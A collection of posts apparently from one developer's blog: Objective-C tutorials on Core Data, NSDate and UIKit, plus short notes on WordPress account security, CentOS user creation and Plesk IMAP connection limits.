Thankfully there is a way to delete version files which goes a long way to declutter your brain. The secret lies in the fact that the .xcdatamodeld file is actually a Package and can contain more than one file. It’s like the .app extension which isn’t just one file. I never knew this!

To explore, select your versioned .xcdatamodeld file, right-click it and select “Show in Finder”. Once in there right-click it again and select “Show Package Contents”. Surprise – here are all your Model Versions. Before you go on a mad deleting spree, head back to Xcode and do the following:

1. activate a Model Version that you want to keep (by going to the top level .xcdatamodeld entry, then select it under “Versioned Core Data Model”)
2. next remove the entire file from your project (just the reference… do not move to trash)
3. head back to the Finder and delete the files inside the Package you no longer want
4. go back to Xcode and add the .xcdatamodeld file again

Voila – now all your unnecessary Model Versions are gone. Perhaps in a future version of Xcode there will be an easier way to do this, but as of Xcode 4.6.2 (April 2013) there is not.

Further Reading

Thanks to David Avendasora for this wonderfully simple explanation on Stack Overflow: http://stackoverflow.com/questions/7708392/how-to-delete-an-old-unused-data-model-version-in-xcode-4

Sometimes however we need to create and transition to View Controllers we’ve defined in code. For example, if you want to transition to a view as part of displaying a search result.

We can do this by creating a new UIStoryboard object and then asking it to create a View Controller defined in it. For this to work you need to give your View Controller a unique identifier using the Identity Inspector (under Identity, set a Storyboard ID).

This example assumes we have a Storyboard file called MainStoryboard.storyboard in which there’s a View Controller called DetailView. Here’s how we create it and push it onto a stack of Navigation Controllers:

// create the Storyboard object
UIStoryboard *storyboard = [UIStoryboard storyboardWithName:@"MainStoryboard" bundle:nil];
DetailViewController *detailView = [storyboard instantiateViewControllerWithIdentifier:@"DetailView"];

// set properties you'd like the detailView to have (optional)
detailView.someProperty = @"This is great";

// push the new detailView onto the stack
[self.navigationController pushViewController:detailView animated:YES];

Note that you define the Storyboard without its extension. If the bundle parameter is nil (as it is here) then the compiler assumes your main bundle.

This example assumes you have a Table View (self.tableView) to which you’d like to add a Search Bar and Search Display Controller at the top. We do this by utilising the Table View’s tableHeaderView property:

// create a new Search Bar and add it to the table view
UISearchBar *searchBar = [[UISearchBar alloc]initWithFrame:CGRectMake(0.0f, 0.0f, 320.0f, 44.0f)];
self.tableView.tableHeaderView = searchBar;
        
// we need to be the delegate so the cancel button works
searchBar.delegate = self;
        
// create the Search Display Controller with the above Search Bar
self.controller = [[UISearchDisplayController alloc]initWithSearchBar:self.searchBar contentsController:self];
self.controller.searchResultsDataSource = self;
self.controller.searchResultsDelegate = self;

Your View Controller also needs to conform to the UISearchBarDelegate Protocol for this to work properly.

This week has seen a rather large scale attack of a bot network that specifically targets the “admin” user in WordPress installations. This means that if your site as a user called “admin” then your site is under threat of being a potential target.

No matter if you’re using “admin” as an active user or not: if it exists, your site is at risk. Period.

In this podcast I’ll show you how to change your user name. Sadly this isn’t as easy as just amending “admin” to something else; you’ll have to create a new user, then delete the “admin” user from your site. Don’t be afraid though, I’ll cover each and every step in detail and explain why this is necessary.

Enjoy!

Further Reading

• BBC News Report
• Matt’s post about this problem
• Kelly’s Step by step screenshots on how to create a new user

Thanks to Richard Bagnall for bringing this to my attention

On both CentOS and Red Hat Linux systems you can easily create new user accounts with their own home directories.

Here’s how you do this from the command line. I’m assuming you’re logged in as root, and the new user we’d like to create is called “testuser”:

useradd testuser

Let’s give our testuser a password so s/he can login to the system via SSH:

passwd testuser

This will prompt for a new password (twice), followed by the message that “all authentication tokens have been updated”. Which is nice.

You can now login as “testuser” with your designated password. Testuser’s home directory is located here:

/home/testuser

That’s all there’s to it – congratulations on creating a new user on your system

Most commonly you’ll want to call a URL with parameters which will return some data. You take this output and tell Objective-C that it’s JSON, then typecast the return to an array or a dictionary which in turn lets you access the data. It’s genius!

Here’s an example:

// create the URL we'd like to query
NSURL *myURL = [[NSURL alloc]initWithString:@"http://domain.com/jsonquery";
        
// we'll receive raw data so we'll create an NSData Object with it 
NSData *myData = [[NSData alloc]initWithContentsOfURL:myURL];
        
// now we'll parse our data using NSJSONSerialization
id myJSON = [NSJSONSerialization JSONObjectWithData:myData options:NSJSONReadingMutableContainers error:nil];
        
// typecast an array and list its contents
NSArray *jsonArray = (NSArray *)myJSON;
        
// take a look at all elements in the array
for (id element in jsonArray) {
    NSLog(@"Element: %@", [element description]);            
}

What you’ll get back depends on your individual JSON structure of course. This can be quite complex, for example you could receive an array full of dictionaries, each of which could be full of dictionaries. JSON data can be mapped to an NSArray, NSDictionary, NSNumberand NSNull.

Once you have access to the top level elements you can then loop through each one, examining what’s in it and access what you need.

Further Reading

• More details about the JSON Format: http://www.json.org/
• NSJSONSerialization Class Reference: http://developer.apple.com/library/ios/#documentation/Foundation/Reference/NSJSONSerialization_Class/Reference/Reference.html
• JSONKit Framework: https://github.com/johnezang/JSONKit

Some of Apple’s pre-written methods use whats known as a Selector. Here’s an example method that uses a selector:

// create a bar button item
UIBarButtonItem *linkButton = [[UIBarButtonItem alloc]initWithTitle:@"My Title" style:UIBarButtonItemStyleBordered target:self action:@selector(myMethod)];

Notice how the selector is created on the second line. All it wants to know here is the method name really. Imagine you had a method called myMethod in the current class (hence the use of self here), this is how it gets called via the action parameter.

If you were to call this method just by itself, you’d use the usual

[self myMethod];

For more information and how to build your own selectors, check out the Cocoa Core Competencies section on Selectors.

    NSString *complete = @"12345";
    NSString *cutOff = [complete substringFromIndex:1];
    NSLog(@"%@", cutOff);
    // cutOff is now 2345

substringFromString takes only one parameter which specifies where to start the new string. The first character is 0 based, like in arrays. The parameter can’t be longer than the original string’s length for obvious reasons.

Here’s how you can retrieve one of those in code:

    // create a fetch request from template
    NSFetchRequest *fetchRequest = [self.managedObjectModel fetchRequestTemplateForName:@"MyFetch"];
    
    NSArray *fetchedObjects = [self.managedObjectContext executeFetchRequest:fetchRequest error:nil];
    for (Event *event in fetchedObjects) {
        NSLog(@"%@", [event.timeStamp description]);
    }

Note that to retrieve your Fetch Request Template you need a reference to your Managed Object Model as well as your context. The easiest way to grab hold of it in an iOS app is to pass it in on a property, just like we did with self.managedoObjectContext.

Let’s first illustrate a basic NSFetchRequest. For the following examples I’m using the iOS Master/Detail template which provides an Entity called Event with a property called timeStamp. I’ve created custom subclasses for this entity. Press the add button a few times so we have some data, then quit the application.

Basic Fetch Request

Here’s how we can retrieve all our values using a basic Fetch Request:

    // create a fetch request
    NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
    NSEntityDescription *entity = [NSEntityDescription entityForName:@"Event" inManagedObjectContext:self.managedObjectContext];
    [fetchRequest setEntity:entity];

    // fetch all objects
    NSError *error = nil;
    NSArray *fetchedObjects = [self.managedObjectContext executeFetchRequest:fetchRequest error:&error];
    if (fetchedObjects == nil) {
        NSLog(@"Houston, we have a problem: %@", error);
    }

    // display all objects
    for (Event *event in fetchedObjects) {
        NSLog(@"%@", [event.timeStamp description]);
    }

The easiest way to get this code is by using a code snippet from the Xcode library (search for fetch, the first one is a “basic fetch”).

Note that the results are unfiltered, which means they’re not necessarily in the order you would like them to be in. To remedy this, you can use a Sort Descriptor:

Fetch Request with Sort Descriptors

    // create a fetch request
    NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
    NSEntityDescription *entity = [NSEntityDescription entityForName:@"Event" inManagedObjectContext:self.managedObjectContext];
    [fetchRequest setEntity:entity];

    // define a sort descriptor
    NSSortDescriptor *descriptor = [[NSSortDescriptor alloc]initWithKey:@"timeStamp" ascending:YES];
    NSArray *scArray = [[NSArray alloc]initWithObjects:descriptor, nil];

    // give sort descriptor array to the fetch request
    fetchRequest.sortDescriptors = scArray;

    // fetch all objects
    NSError *error = nil;
    NSArray *fetchedObjects = [self.managedObjectContext executeFetchRequest:fetchRequest error:&error];
    if (fetchedObjects == nil) {
        NSLog(@"Houston, we have a problem: %@", error);
    }

    // display all objects
    for (Event *event in fetchedObjects) {
        NSLog(@"%@", [event.timeStamp description]);
    }

You can pass more than one Sort Descriptor, hence we need to pass an NSArray to the fetch request. A usage example would be “list all employers alphabetically, in order of which they’ve started working”. To do this, create another sort descriptor, then add both to the array.

The easiest way to get this is to use the Xcode Code Snippets again, this time select the “fetch with sorting” and it will have all this code ready for you.

Fetch Request using a Predicate

Predicates are filters with which you can specify conditions, such as “is this date older than x”, “does the first name contain steve”, and so forth. I have written a more in-depth article on Predictates elsewhere on this site and won’t go into the details.

Here’s how you create a Fetch Request with a Predicate, combined with a Sort Descriptor:

    // create a fetch request
    NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
    NSEntityDescription *entity = [NSEntityDescription entityForName:@"Event" inManagedObjectContext:self.managedObjectContext];
    [fetchRequest setEntity:entity];
    
    // setup a predicate
    NSPredicate *predicate = [NSPredicate predicateWithFormat:@"timeStamp < %@", [NSDate date]];
    
    // give the predicate to the fetch request
    fetchRequest.predicate = predicate;
    
    // define a sort descriptor
    NSSortDescriptor *descriptor = [[NSSortDescriptor alloc]initWithKey:@"timeStamp" ascending:YES];
    NSArray *scArray = [[NSArray alloc]initWithObjects:descriptor, nil];
    
    // give sort descriptor array to the fetch request
    fetchRequest.sortDescriptors = scArray;
    
    // fetch all objects
    NSError *error = nil;
    NSArray *fetchedObjects = [self.managedObjectContext executeFetchRequest:fetchRequest error:&error];
    if (fetchedObjects == nil) {
        NSLog(@"Houston, we have a problem: %@", error);
    }
    
    // display all objects
    for (Event *event in fetchedObjects) {
        NSLog(@"%@", [event.timeStamp description]);
    }

If you don’t need the Sort Descriptor, just remove that code from the example. This snippet is also available from Xcode and is called “fetch with predicate”.

For more information on Predicates, check out Apple’s Predicate Programming Guide.

Here’s an example for an Entity named Event with two properties (myKey and anotherKey):

// create a managed object
NSManagedObject *myObject = [NSEntityDescription insertNewObjectForEntityForName:@"Event" inManagedObjectContext:self.managedObjectContext];
    
// set its attributes
[myObject setValue:@"This is my value" forKey:@"myKey"];
[myObject setValue:@"My other value" forKey:@"anotherKey"];

If you have created custom NSManagedObject subclasses for your Entity then you can create an object like this:

// create a managed object from my custom class
Event *myObject = (Event *)[NSEntityDescription insertNewObjectForEntityForName:@"Event" inManagedObjectContext:self.managedObjectContext];
    
// set my object's properties
myObject.myKey = @"This is my value";
myObject.anotherKey = @"My other value";

The KVC method will always work, regardless if you have custom classes or not. Custom Classes have the advantage that you can add custom behaviour (i.e. methods), and of course code completion in Xcode.

Note that these snippets will create an object, but it your values are only stored once you save the Managed Object Context:

[self.managedObjectContext save:nil];

For a save action to make sense we need to have some data to save, so in this example we will copy an existing file (self.myURL) to the new URL that the save panel returns. We’ll let the NSFileManager just create a copy with a new name that the user specifies using the save panel:

- (IBAction)saveFile:(id)sender {
    
    // create the save panel
    NSSavePanel *panel = [NSSavePanel savePanel];
    
    // set a new file name
    [panel setNameFieldStringValue:@"NewFile.png"];
    
    // display the panel
    [panel beginWithCompletionHandler:^(NSInteger result) {
        
        if (result == NSFileHandlingPanelOKButton) {
            
            // create a file namaner and grab the save panel's returned URL
            NSFileManager *manager = [NSFileManager defaultManager];
            NSURL *saveURL = [panel URL];
            
            // then copy a previous file to the new location
            [manager copyItemAtURL:self.myURL toURL:saveURL error:nil];
        }
    }];
    
}

The only alien looking thing here is the use of a Block (like it is in the NSOpenPanel). This is the equivalent to an anonymous function in JavaScript, basically a block of code that runs upon completion. As it’s part of the method call, the closing ] is way at the bottom.

Further Reading

Apple’s NSSavePanel Class Reference:

• https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/ApplicationKit/Classes/NSSavePanel_Class/Reference/Reference.html

A Short Practical Guide to Blocks:

• https://developer.apple.com/library/mac/#featuredarticles/Short_Practical_Guide_Blocks/

In this example we invoke the panel from a button in the main window, then display the returned URL in a textLabel:

- (IBAction)loadFile:(id)sender {
    
    // create an open documet panel
    NSOpenPanel *panel = [NSOpenPanel openPanel];
    
    // display the panel
    [panel beginWithCompletionHandler:^(NSInteger result) {
        if (result == NSFileHandlingPanelOKButton) {
            
            // grab a reference to what has been selected
            NSURL *theDocument = [[panel URLs]objectAtIndex:0];
            
            // write our file name to a label
            NSString *theString = [NSString stringWithFormat:@"%@", theDocument];
            self.textLabel.stringValue = theString;
            
        }
    }];
    
}

Further Reading

Apple’s NSOpenPanel Class reference:

• https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/ApplicationKit/Classes/NSOpenPanel_Class/Reference/Reference.html

This podcast describes how to gain access to WordPress even without username, password or working email address.

It’s happened to the best of us:

• you forgot your Password
• you forgot what User you are
• even worse, you’ve forgotten which email you’ve used when you installed WordPress
• worse still, your email no longer exists

Fear not, for in this week’s Podcast I will talk you through all these mishaps, and show you how you can still gain access to your WordPress site.

Enjoy!

However, when you embed your top view controller in a Navigation Controller, and perhaps that one is also embedded in a Tab Bar Controller, then this array isn’t quite so easy to figure out (and I must admit that I always forget how to do this when a new challenge arises).

So here’s how this works. In this example, the thing that’s displayed is called MyViewController, which is embedded in a Navigation Controller. I’m passing it the App Delegate’s self.managedObjectContext which is defined as a property on MyViewController.

// grab our own navigation controller
UINavigationController *navigationController = (UINavigationController *)self.window.rootViewController;
    
// grab our table view controller
MyViewController *myViewController = (MyViewController *)navigationController.topViewController;
    
// pass in whatever data you need (such as this):
myViewController.managedObjectContext = self.managedObjectContext;

We call this in the applicationDidFinishLaunching method, just before the return statement.

- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
{
    return [[self.fetchedResultsController sections] count];
}

- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
    id <NSFetchedResultsSectionInfo> sectionInfo = [self.fetchedResultsController sections][section];
    return [sectionInfo numberOfObjects];
}

Note that this is designed as a one-off operation to create a new store file which can be used in another application. Once run, comment the code out and either change your store file, or take the store file and use it in another app.

Add this code to the AppDelegate.m file in the persistenStore method (just before the return statement):

// convert this thing to SQL
NSURL *sqlstore = [applicationFilesDirectory URLByAppendingPathComponent:@"NewStoreFile.sqldata"];
NSPersistentStore *xmlstore = [coordinator persistentStoreForURL:url];
    
[coordinator migratePersistentStore:xmlstore toURL:sqlstore options:nil withType:NSSQLiteStoreType error:nil];

For more information on how to do this in context, check out Simon Allardice’s superb course Core Data for iOS and OS X on Lynda.com.

You provide the user controls you need in Xcode, then control-drag your way to extensive functionality and happiness. Before I forget, I thought I’d better make some notes.

Here’s a step-by-step list:

• Using Xcode, create a new Mac Cocoa Application with Core Data
• Setup your entities and properties in your Core Data Model (.xcdatamodeld)
• Create relationships between Entities if desired
• Select all Entities and create custom classes from them (using Editor – create NSManagedObject Subclasses)

Drag our friend the Array Controller onto the Object’s Bar. If you have multiple Entities, you need a separate Array Controller for each one. Change the labels to tell them apart (select a different file and go back to the xib in order for those labels to be visible – it’s a bug in Xcode).

Now bind the Array Controller and Core Data Managed Object Context together:

• Select your Array Controller, then go to the Bindings Inspector (second from the right)
• Under Parameters, head over to the Managed Object Context and bind to the App Delegate (as that’s where Xcode has kindly prepared our Core Data stack)
• In Model Key Path, type self.managedObjectContext (this should self complete)
• In the Attributes Inspector, tell the controller that we’re using an Entity instead of a Class, then enter the Entity (it’s the one you’ve created in the data model)
• While you’re here, tick the “Prepares Content” check box if you want the table view to be populated automatically

Add a Table View to your window and bind it to the Array Controller:

• Select the Table View (inside the Scroll View) and head over to the Bindings Inspector
• Under Table Content, select Bind To your Array Controller
• Now select the actual Table Column you want to fill with data, and still inside the Bindings Inspector under Value, bind the column to your Array Controller
• In the field for Model Key Path, type the attribute/property you’d like to see in this column (you’ve defined this in the data model)
• Repeat the process for each column you want to fill with data

To add data to your table:

• Add a couple of Gradient Buttons to your window
• Make one the “Add” and one the “Delete” button
• Hook up each button to the Array Controller via control drag, selecting add and remove respectively

Congratulations: You’ve just created an editable Table View, hooked up to Core Data without a single line of code!

Let’s create a functional SAVE menu item

If you quit the app (rather than running it again from Xcode), all your data will save. However we can implement a manual save action with ease. The menu item itself is there by default, all we need to do is hook it up to the App Delegate and bind it to the save function.

In the Object Sidebar, select Main Menu, then select File – Save (which will expand the item in the sidebar too). From the save menu option, control drag to the App Delegate and select saveAction.

Imagine your app is calculating a value. We can check if the value is as we had expected it to be:

    // NSAssert Example (nothing happens)
    int i = 47;
    NSAssert(i == 47, @"That didn't work");

In this case, everything is fine and we don’t see any log output. Let’s change the value to something else, and see our message together with a rather intimidating stack trace hit our log:

    // NSAssert Example (will cause an exception)
    int i = 48;
    NSAssert(i == 47, @"That didn't work");

You can also pass values and print them to the log. Depending on how many variables you pass, add a number to NSAssert like so:

    // NSAssert Example (pass one value)
    int i = 48;
    NSAssert1(i == 47, @"The real value is %i", i);

Use NSAssert2, NSAssert3 and so forth for more than one value.

Well that’s because at those unhelpful times, Xcode is technically picking up an “exception”, but it tries to continue to run the programme. That’s when we end up with an error message which isn’t related to the actual problem.

An Exception Breakpoint can help. It’s something we can set and therefore force Xcode to stop when the problem occurs, not several lines later. Here’s how we do it:

• with the Navigator pane open, select the 6th tab from the left (the Breakpoint Navigator)
• at the bottom left, click the plus sign to add a breakpoint
• from the context menu select Add Exception Breakpoint
• leave all default values and hit Done

Next time Xcode will not try to be heroic and keep going. Instead, expect a more helpful error message.

Also check out: https://developer.apple.com/library/ios/#recipes/xcode_help-breakpoint_navigator/articles/adding_an_exception_breakpoint.html

By default Plesk sets up the IMAP Email Service on your server so that four simultaneous connections can be made from the same IP address in the same timeframe. This is to protect your servers from too many connections.

This however isn’t cutting it if you have a small office full of people on the same IP, connecting from 4 computers, 16 iphones and 12 iPads every 5 minutes.

The solution: tweak the IMAP configuration file, restart the daemon and have a good life. Let me show you how to do it on Plesk 11 and CentOS 6.4.

The file you’ll want to tweak is called imapd and lives in

/etc/courier-imap/imapd

Log in to your server with root credentials and edit the file with your favourite text editor (like vi). Near the top you’ll find the following lines. They’re not directly underneath each other, but instead are separated by helpful comments to explain what they do:

MAXDAEMONS = 40
MAXPERIP = 4

You may have guessed what these do: the first limits the amount of simultaneous IMAP daemons at the same time, while the second one limits the amount of simultaneous connections from the same IP at the same time. Change them according to your needs: perhaps count the amount of devices/services that connect, then add a few more for good measure.

I’m setting mine to 80 daemons and 20 IP connections like so:

MAXDAEMONS = 80
MAXPERIP = 20

Next we need to restart the IMAP service for the changes to take effect:

service courier-imap restart

Alternatively you can restart the service like this:

/etc/init.d/courier-imap stop
/etc/init.d/courier-imap start

The rest, as they say, is history.

Help! I’ve messed up that file!

Fear not – here’s a clean copy, taken from Plesk 11.0.9 on CentOS 6.4. Just in case:

• Default imapd file (6kB)

Further Reading

• Parallels KB article explaining this process

In this podcast I will show you how to use the MORE and NEXTPAGE features in WordPress.

These are built-in tags that will make your posts look their best: MORE can break your post off on the front page, so instead of the entire post being displayed you can choose where WordPress inserts a “read more” message.

NEXTPAGE is a related feature that works on single posts and pages by inserting a virtual “break point” so that your long posts (or pages) are split into multiple parts.

Download the Nextpage Buttons plugin I’m talking about in this screencast here.

As always, enjoy!

    // version 1:
    [self.searchBar becomeFirstResponder];

    // version 2:
    [self.searchDisplayController setActive:YES animated:YES];

The benefit of version 2 is that if we perform it “in vision”, we can use the animated option and make it look all swish.

Version 2 of course also has a reverse with which we can deactivate the controller:

    [self.searchDisplayController setActive:NO animated:YES];

Note that this will not affect the UISearchBar associated with the search display controller; you need to deal with that separately.

        NSString *something = @"12345";
        something = [something substringToIndex:(something.length - 1)];
        
        // something is now 1234

        NSString *something = @"123456789";
        NSRange myRange = NSMakeRange(2, 3);
        something = [something substringWithRange:myRange];

        // something is now 345

You create a range by specifying where the substring should start (the first character is 0, like in an array), then specify how many characters from there you want to use.

To grab just the first character you’d specify a range like this:

        NSString *something = @"123456789";
        NSRange myRange = NSMakeRange(0, 1);
        something = [something substringWithRange:myRange];

        // something is now 1

// create a typedef of int
        typedef int yourInt;
        yourInt yourValue = 57;
        
        NSLog(@"Your value is %i", yourValue);

Now you have your own variable type called youInt which behaves just like an int.

The power of typedef becomes clearer when combined with enumerations we were discussing previously. You can create your own data type of enum, creating and addressing your values more easily. Let’s stick with the drink size example from earlier:

// create a typedef of enum drinkSize
        typedef enum drinkSize {
            smallDrink = 1,
            mediumDrink = 50,
            largeDrink = 100
        } drinkSize;
        
        // declare a variable from my typedef enumeration set
        drinkSize myDrink = largeDrink;
        drinkSize juliasDrink = smallDrink;

Xcode will code complete all available values, making your life a bit easier when coding.

Many of Apple’s pre-defined super long complex types are created this way. Think of all those NSDateFormatter values you can use, such as NSDateFormatterStyleLongStyle.

Imagine you want to track drink sizes, such as small, medium and large. You can remember to just use the numbers 1, 2 and 3 for each size – but Enumeration makes it easier to declare those.

// create an enumeration
        enum drinkSize {
            smallDrink = 1,
            mediumDrink = 50,
            largeDrink = 100
        };
        
        // declare a variable from my enumeration set
        enum drinkSize myDrink = largeDrink;
        
        // compare against my own values
        if (myDrink == largeDrink) {
            NSLog(@"That's my drink!");
        }
        
        // an enum behaves like an integer
        NSLog(@"My Drink Size is %i", myDrink);

Notice the last line: when written in a string like a log message, Objective-C will track your enumeration’s numeric values instead. In my case, the log message would display “My Drink Size is 100″.

Here’s how you create an indexPath for row 0, section 0:

NSIndexPath *indexPath = [[NSIndexPath alloc]init];
indexPath = [NSIndexPath indexPathForItem:0 inSection:0];

The method takes two integers. You can even take an existing indexPath, then add or subtract values to the new indexPath, like so:

// current indexPath
NSIndexPath *indexPath = [self.tableView indexPathForSelectedRow];

// make a new indexPath and add 1 to the row of the previous one
NSIndexPath *indexPath2 = [[NSIndexPath alloc]init];
indexPath2 = [NSIndexPath indexPathForItem:(indexPath.row + 1) inSection:indexPath.section];

I’ve been working on an iOS App recently which deals with several date methods. Usually when something goes wrong Xcode displays very dry messages such as “Array out of bounds” or something rather unhelpful (like the complete stack output with no clue as to what actually went wrong).

I was accidentally passing nil into an NSDateComponents method – and instead of crashing (which is what I would have expected), Xcode displayed this super funny message in the log console:

[__NSCFCalendar components:fromDate:toDate:options:]:

toDate cannot be nil

I mean really, what do you think that operation is supposed to mean with a nil toDate?

An exception has been avoided for now. A few of these errors are going to be reported with this complaint, then further violations will simply silently do whatever random thing results from the nil.

It made me smile

I think we should have more error messages like this! Here’s a screenshot:

Xcode can be funny after all

In this example, let’s assume we want to know what date it is 5 days from today:

int daysToAdd = 5;
NSDate *today = [NSDate date];
NSCalendar *gregorian = [[NSCalendar alloc]initWithCalendarIdentifier:NSGregorianCalendar];
NSDateComponents *components = [[NSDateComponents alloc]init];
[components setDay:daysToAdd];
NSDate *futureDate = [gregorian dateByAddingComponents:components toDate:today options:0];

You can add as many and diverse components you like, such as

• setEra:
• setYear:
• setMonth:
• setDay:
• setHour:
• setMinute:
• setSecond:
• setWeek:
• setWeekday:
• setWeekdayOrdinal:
• setQuarter:
• setCalendar:
• setTimeZone:
• setWeekOfMonth:
• setWeekOfYear:
• setYearForWeekOfYear:

Check out the NSDateComponents Class Reference for more information.

In fact, under the hood an NSDate object is the amount of seconds that have elapsed since the 1st of January 2001 (or 1970), in milliseconds. So really it’s a massive floating point number. You can see what it is with this code:

NSLog(@"Since 1970: %f", [today timeIntervalSince1970]);
NSLog(@"Since 2001: %f", [today timeIntervalSinceReferenceDate]);

To save you the trouble, it’s bee roughly 1362585768.752258 seconds since 1970. But I digress…

Sometimes you want the date objects you’re dealing with not to regard “time” and really only deal with dates. As such, all dates – to be comparable – need to have the very same time, say midnight. Otherwise you may get the wrong results. Imagine adding three date objects that each have noon as their time, that’s an extra day and a half clouding your results right there.

Here’s some code that will normalize your NSDate object by setting its time to midnight:

// normalizing a date
NSDate *yourDate = [NSDate date];
NSCalendar *gregorian = [[NSCalendar alloc]initWithCalendarIdentifier:NSGregorianCalendar];
NSDateComponents *dateComponents = [gregorian components:(NSYearCalendarUnit | NSMonthCalendarUnit | NSDayCalendarUnit) fromDate:yourDate];
        
yourDate = [gregorian dateFromComponents:dateComponents];
        
NSLog(@"Now your date starts at midnight: %@", yourDate);

In a nutshell, we “explode” the date into its year, month and day components, and then recreate a new object with these and no other components.

Lucky for us there are a few other classes available that will help us do this, namely NSCalendar and NSDateComponents.

Years, Months and Days

Here’s how you can determine how many years, months and days have passed between two NSDates:

NSDate *earlier = [[NSDate alloc]initWithTimeIntervalSinceReferenceDate:1];
NSDate *today = [NSDate date];

NSCalendar *gregorian = [[NSCalendar alloc]initWithCalendarIdentifier:NSGregorianCalendar];

// pass as many or as little units as you like here, separated by pipes
NSUInteger units = NSYearCalendarUnit | NSDayCalendarUnit | NSMonthCalendarUnit;

NSDateComponents *components = [gregorian components:units fromDate:earlier toDate:today options:0];

NSInteger years = [components year];
NSInteger months = [components month];
NSInteger days = [components day];

NSLog(@"Years: %ld, Months: %ld, Days: %ld", (long)years, (long)months, (long)days);

The above example returns Years: 12, Months: 2, Days: 5.

In a nutshell we split the date into “components” such as years, months and days, and let the NSDateComponents class give us those as NSIntegers (i.e. long integers). For the class to calculate this correctly we need to put our days into the context of an NSCalendar (gregorian in our case). This is important because different calendars may return different time intervals.

Just the Days

If you’re interested in just one particular item (days for example) just leave out any other component on this line:

// just the days
NSUInteger units = NSDayCalendarUnit;

How about other units?

You can pass as many of those fast enumeration units as you like, separated by pipes. For a full list of available values check out the NSCalendar Class Reference

Further Reading

• NS Calendar Class Reference: https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSCalendar_Class/Reference/NSCalendar.html
• Date and Time Programming Guide: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/DatesAndTimes/DatesAndTimes.html

In this podcast I will show you how to disable user registrations on your WordPress website. If you don’t have a legitimate reason to invite users to register themselves you’re leaving your site open to spammers who may from time to time try to “get in” (and we want to make sure we keep them out).

If you’re receiving weird emails from your website that tell you somebody new has registered and you don’t know what this means, this podcast is for you.

Enjoy!

If you want to go back exactly one view controller, here’s how you can do it programmatically:

    // pop back to previous controller
    NSArray *myControllers = self.navigationController.viewControllers;
    int previous = myControllers.count - 2;
    UIViewController *previousController = [myControllers objectAtIndex:previous];
    
    [self.navigationController popToViewController:previousController animated:YES];

First we access the array of all view controllers and count it. We subtract one (because arrays are 0 based), and another one to go back in history – hence we go “minus 2″. Then we pop to view controller just behind the current one.

Test if the returned value is less than zero though…

If you want to go back all the way to the root view controller, there’s a method for that:

    // pop back to root controller
    [self.navigationController popToRootViewControllerAnimated:YES];

AppDelegate *myAppDelegate = (AppDelegate *)[[UIApplication sharedApplication]delegate];
[myAppDelegate saveContext];

No reference to fetchedResultsController or managedObjectContext or any complex &error statements.